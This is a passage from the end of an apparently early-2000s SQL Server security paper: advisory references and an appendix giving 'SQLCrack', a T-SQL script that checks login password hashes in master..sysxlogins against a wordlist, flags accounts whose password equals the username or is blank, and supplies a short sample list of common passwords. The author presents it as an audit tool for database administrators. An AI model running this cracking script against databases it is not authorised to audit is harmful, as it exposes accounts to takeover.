[4] Microsoft SQL Server Extended Stored Procedure Vulnerability  
<http://www.atstake.com/research/advisories/2000/a120100-1.txt>

[5] Multiple Buffer Format String Vulnerabilities In SQL Server  
<http://www.microsoft.com/technet/security/bulletin/MS01-060.asp>  
<http://www.atstake.com/research/advisories/2001/a122001-1.txt>



## Appendix A - 'SQLCrack'

This SQL password cracking script (written by the author) requires access to the 'password' column of master..sysxlogins, and is therefore unlikely to be of use to an attacker. It is, however, an extremely useful tool for database administrators seeking to improve the quality of passwords in use on their databases.

To use the script, substitute the path to the password file in place of 'c:\temp\passwords.txt' in place of the 'bulk insert' statement. Password files can be obtained from a number of places on the web; we do not supply a comprehensive one here, but here is a small sample (the file should be saved as an MS-DOS text file, with <CR><LF> end-of-line characters). The script will also detect 'joe' accounts - accounts that have the same password as their username - and accounts with blank passwords.

```
password
sqlserver
sql
admin
sesame
sa
guest
```

Here is the script:  
(sqlcrack.sql)

```
create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins
      on      (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
      (pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on
sysxlogins.sid=syslogins.sid
      where sysxlogins.password is null and
            syslogins.isntgroup=0 and
            syslogins.isntuser=0

drop table tempdb..passwords
```